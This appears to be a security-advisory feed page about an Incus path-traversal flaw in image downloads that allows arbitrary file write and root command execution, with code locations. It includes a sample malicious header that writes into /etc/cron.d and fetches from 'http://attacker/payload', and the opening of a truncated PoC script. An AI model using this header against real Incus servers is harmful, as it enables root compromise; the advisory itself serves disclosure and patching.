Most recent entries from all

bdu:2026-15486

EUVD-2026-357350

fkie_cve-2026-48769

Incus is a system container and virtual machine manager. Prior to version 7.2.0, an arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. Version 7.2.0 patches the issue.

GHSA-f6m5-xw2g-xc4x — Incus has an arbitrary file write on its client due to trusted image hash

Affected: Go: github.com/lxc/incus/v7/cmd/incusd

### Summary

An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server.

### Details

- `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.

A malicious image server returning something along the following will cause the arbitrary file write.

``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ```

### PoC

The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.

The following script was generated by an LLM.

``` #!/usr/bin/env python3 """Direct image…

openSUSE-SU-2026:11651-1 — incus-7.4-1.1 on GA media

incus-7.4-1.1 on GA media

UBUNTU-CVE-2026-48769

Affected: Ubuntu:Pro:16.04:LTS: lxd, Ubuntu:Pro:18.04:LTS: lxd, Ubuntu:20.04:LTS: lxd, Ubuntu:Pro:24.04:LTS: incus, Ubuntu:25.10: incus, Ubuntu:Pro:26.04:LTS: incus